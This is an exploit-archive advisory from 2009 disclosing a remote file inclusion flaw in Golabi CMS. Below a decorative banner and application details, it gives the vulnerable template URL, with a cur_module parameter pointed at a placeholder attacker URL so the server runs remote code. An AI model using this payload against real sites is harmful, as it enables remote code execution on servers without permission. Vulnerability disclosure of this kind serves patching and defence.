[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Golabi CMS Remote File Inclusion Vulnerability
# Published : 2009-02-26
# Author : CrazyAngel
# Previous Title : Demium CMS 0.2.1B Multiple Vulnerabilities and Exploit
# Next Title : DesignerfreeSolutions Newsletter Manager Pro Auth Bypass Vuln 


--------------------------------------------------------------------------------
_________                                _____                         __
_   ___ ____________  ___________ __  /  _     ____    ____   ____ |  |
/      /_  __ __   ___   <   |  |/  /_   /      / ____/ __ |  |
     ____|  | // __ _/    / ___  /    |       |  / /_/  >  ___/|  |__
 ______  /|__|  (____  /_____ / ________|__  /___|  /___  / ___  >____/
        /            /      //            /     //_____/      /
--------------------------------------------------------------------------------
                 [wWw.CrazyAngel.iR]  -   [info-AT-CrazyAngel.iR]
--------------------------------------------------------------------------------

               [Golabi CMS Remote File Inclusion Vulnerability]

[+] Application Info:
    [*] Name:       Golabi CMS
    [*] Author:     R3dM0ve
    [*] HomePage:   http://golabicms.sourceforge.net/
    [*] Download:   http://downloads.sourceforge.net/golabicms/Golabi_1.0.zip?use_mirror=freefr

[+] Vulnerability Info:
    [*] Type:  Remote File Inclusion (RFI)
    [*] Requirement: register_globals [ON]
    [*] Risk:  High Critical
    [*] Bug Hunter: CrazyAngel
    [*] Details: Unhandled variable Inclusion in default template file results in RFI Vulnerability
    [*] Vul URL: [GOLABI_PATH]/templates/default/index_logged.php?main_loaded=1&cur_module=[EVIL_URL]

# www.Syue.com [2009-02-26]